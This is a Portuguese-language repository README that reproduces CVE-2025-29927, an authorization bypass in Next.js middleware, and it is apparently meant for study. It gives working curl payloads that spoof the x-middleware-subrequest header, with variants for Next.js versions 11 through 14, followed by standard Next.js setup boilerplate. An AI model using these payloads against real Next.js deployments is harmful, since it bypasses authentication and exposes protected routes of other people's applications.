
Reprodução do bypass de autorização CVE-2025-29927 no middleware do Next.js, com payloads de exploração baseados em curl para múltiplas versões.
Este repositório é uma reprodução da vulnerabilidade CVE-2025-29927 no pacote next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 vezes no cabeçalho especial x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
As versões 12 e 13 do Next.js costumavam ter uma convenção de nomenclatura diferente para o arquivo de middleware (_middleware.js), que foi alterado para middleware.js no Next.js 14. Esta vulnerabilidade pode ser explorada em versões mais antigas usando o arquivo _middleware.js.
Por exemplo, os seguintes payloads seriam aplicáveis, dependendo da versão do Next.js e da sua convenção de roteamento:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (para versões do Next.js 12.2 com o arquivo middleware.js na raiz da aplicação, não dentro do diretório pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (para versões do Next.js 11 até 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloPrimeiro, execute o servidor de desenvolvimento:
npm run dev
# ou
yarn dev
# ou
pnpm dev
# ou
bun dev
Abra http://localhost:3000 no seu navegador para ver o resultado.
Você pode começar a editar a página modificando app/page.js. A página é atualizada automaticamente à medida que você edita o arquivo.
Este projeto utiliza next/font para otimizar e carregar automaticamente a Geist, uma nova família de fontes para Vercel.
Para aprender mais sobre Next.js, confira os seguintes recursos:
Você pode conferir o repositório GitHub do Next.js - seus comentários e contribuições são bem-vindos!
A maneira mais fácil de implantar sua aplicação Next.js é usar a Plataforma Vercel dos criadores do Next.js.
Confira nossa documentação de implantação do Next.js para mais detalhes.